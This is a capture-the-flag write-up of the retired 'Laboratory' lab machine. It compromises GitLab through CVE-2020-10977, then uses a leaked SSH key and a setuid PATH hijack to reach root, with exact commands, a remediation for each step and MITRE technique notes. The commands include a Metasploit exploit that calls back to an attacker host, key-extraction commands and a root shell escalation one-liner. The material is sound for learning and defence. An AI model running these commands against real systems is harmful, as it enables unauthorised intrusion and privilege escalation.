Laboratory
Summary
The target host ($TARGET) exposed a self-hosted GitLab Community Edition instance at git.laboratory.htb that had not been patched against CVE-2020-10977, a chained path-traversal and Ruby deserialization flaw. Open self-registration let me create a GitLab account without approval, then exploit that vulnerability to read GitLab's internal secret key and forge a signed payload that executed code as the git service account.
From that foothold I found an SSH private key committed by user 'dexter' into a GitLab repository named '[REDACTED: recovered credential]', used it to open an SSH session on the underlying Linux host, and discovered a setuid-root helper binary (/usr/local/bin/docker-security) that called chmod by name without an absolute path. Prepending a malicious chmod script to PATH caused the binary to execute my own code as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -sC -p 22,80,443 $TARGETecho "$TARGET laboratory.htb git.laboratory.htb" | sudo tee -a /etc/hostscurl -sk -I http://$TARGET/ | grep -i 'location\|server'Exact commands 2
curl -sk https://git.laboratory.htb/users/sign_up | grep -i 'register\|sign.up'curl -sk -c /tmp/gl_cookies.txt -X POST https://git.laboratory.htb/users \
-d "user[name]=$USERNAME&user[username]=${USERNAME}01&user[email]=${USERNAME}01@laboratory.htb&user[password]=$PASSWORD3"FixDisable GitLab open self-registrationHigh
Exact commands 2
msfconsole -q -x "use exploit/multi/http/gitlab_file_read_rce; set RHOSTS git.laboratory.htb; set RPORT 443; set SSL true; set USERNAME attacker01; set PASSWORD $PASSWORD3; set LHOST $ATTACKER_IP; set LPORT 4444; run"idFixUpgrade GitLab to a version patched against CVE-2020-10977Critical
Exact commands 4
find /var/opt/gitlab/git-data/repositories -name '*.git' -type d 2>/dev/nullgit -C /var/opt/gitlab/git-data/repositories/@hashed/<h2>/<h2>/<repo>.git log --all --onelinegit -C /var/opt/gitlab/git-data/repositories/@hashed/<h2>/<h2>/<repo>.git show HEAD:$PASSWORD2install -m 600 /dev/null /tmp/dexter_laboratory_id_rsa && cat > /tmp/dexter_laboratory_id_rsaFixRemove dexter's SSH private key from the GitLab repository and rotate the key pairCritical
Exact commands 1
chmod 600 /tmp/dexter_laboratory_id_rsa && ssh -i /tmp/dexter_laboratory_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dexter@$TARGET 'id; cat /home/dexter/user.txt'Exact commands 3
find / -perm -4000 -user root -type f 2>/dev/nullstrings /usr/local/bin/docker-security | grep chmodssh -i /tmp/dexter_laboratory_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dexter@$TARGET 'd=$(mktemp -d); printf "#!/bin/sh\n/bin/bash -p\n" > "$d/chmod"; /usr/bin/chmod +x "$d/chmod"; PATH="$d:$PATH" /usr/local/bin/docker-security'FixRemove the SUID bit from docker-security and replace relative command references with absolute pathsCritical
Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 |
| 443/tcp | ssl/http Apache httpd 2.4.41 ((Ubuntu)) |